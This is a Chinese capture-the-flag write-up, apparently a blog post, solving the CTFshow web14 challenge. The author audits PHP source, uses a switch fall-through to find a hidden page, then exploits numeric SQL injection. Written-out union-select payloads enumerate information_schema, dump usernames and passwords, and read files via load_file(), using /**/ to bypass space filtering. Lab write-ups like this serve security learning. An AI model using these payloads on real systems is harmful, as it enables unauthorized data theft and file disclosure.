CTFshow-Web-SQL注入与源码泄露

一、靶场:ctfshow web14
二、解题步骤:
步骤一:观察,打开靶场可以看到有源码在页面上,估计是要先做代码审计

image1

步骤二:代码审计

源码如上图

分析代码可以得到以下信息:

1、url中c的值只能是数字

2、c的值不要选太大的,因为太大的数字会在 sleep() 函数中睡眠很久

3、switch语句中输出的值不一样,有以下几种:'$url'、'@A@'、$url、"@A@"、"$url";其中有用的就只有后面三个有用,因为在php中双引号中的变量可以被识别,单引号的只是字符串;

4、switch语句中结尾的 case 3 语句和后面的语句结尾都没有break,由于php语言特性,那将会继续执行后面的语句,且不需要满足 case 的值

综上:c的值就只能是3,因为几个有效输出的case都很大,但由于 case 3 的结尾没有 break 结束,会直接执行后面的 case 6000000 语句的输出,得到有效值

步骤三:url中拼接poc:?c=3,得到了一个敏感输出,是一个文件名

image2

尝试将其拼接到url后面,得到了一个新的网页

image3

步骤四:新的网页中有一个输入框,对输入内容进行查询,到这里可以猜测这道题应该是sql注入,这里进行测试,输入一个1进行查询,得到了一个弹窗,内容应该是用户名,且可以看到url中有一个 query=1 猜测可能是注入点

image4

步骤五:对query进行测试

1、先使用true使语句恒成立

image5

2、再使用false使语句恒不成立

image6

综上可以看到存在注入点 query,注入类型为数字类型,成立有回显,不成立无回显

步骤六:这里直接使用联合查询完成sql注入不对列数、回显位进行判断,按照其常规注入步骤进行即可,判断库名,库中表,表中字段名,字段对应的值… 最终得到flag;注:注入时为防止空格被多虑,一般直接使用 /**/ 替代空格

1、库名判断:?query=-1/**/union/**/select/**/database();#

image7

2、库中表:?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database(); 发现表只有一个

image8

3、表中字段:?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'; 发现有三个字段

image9

4、字段值:?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content;

image10

但根据得到的内容可知flag不在这里。。。说是一个secret,但注意,在最先的时候那个源码中有引入一个文件就叫secret.php

image11

步骤七:使用sql语句中的文件查询语句 load_file() 查看该文件内容

image12

但执行后貌似并没有任何东西出现,看看网页源码,似乎有一个提示,原页面的源码中并没有这部分代码,说明这个应该是一个提示

image13

步骤八:读取提示的路径:/real_flag_is_here,但页面依然没有显示,但再次查看源码后发现了flag

image14

image15

posted @ 2025-12-03 09:33  shinianyunyan  阅读(24)  评论(0)    收藏  举报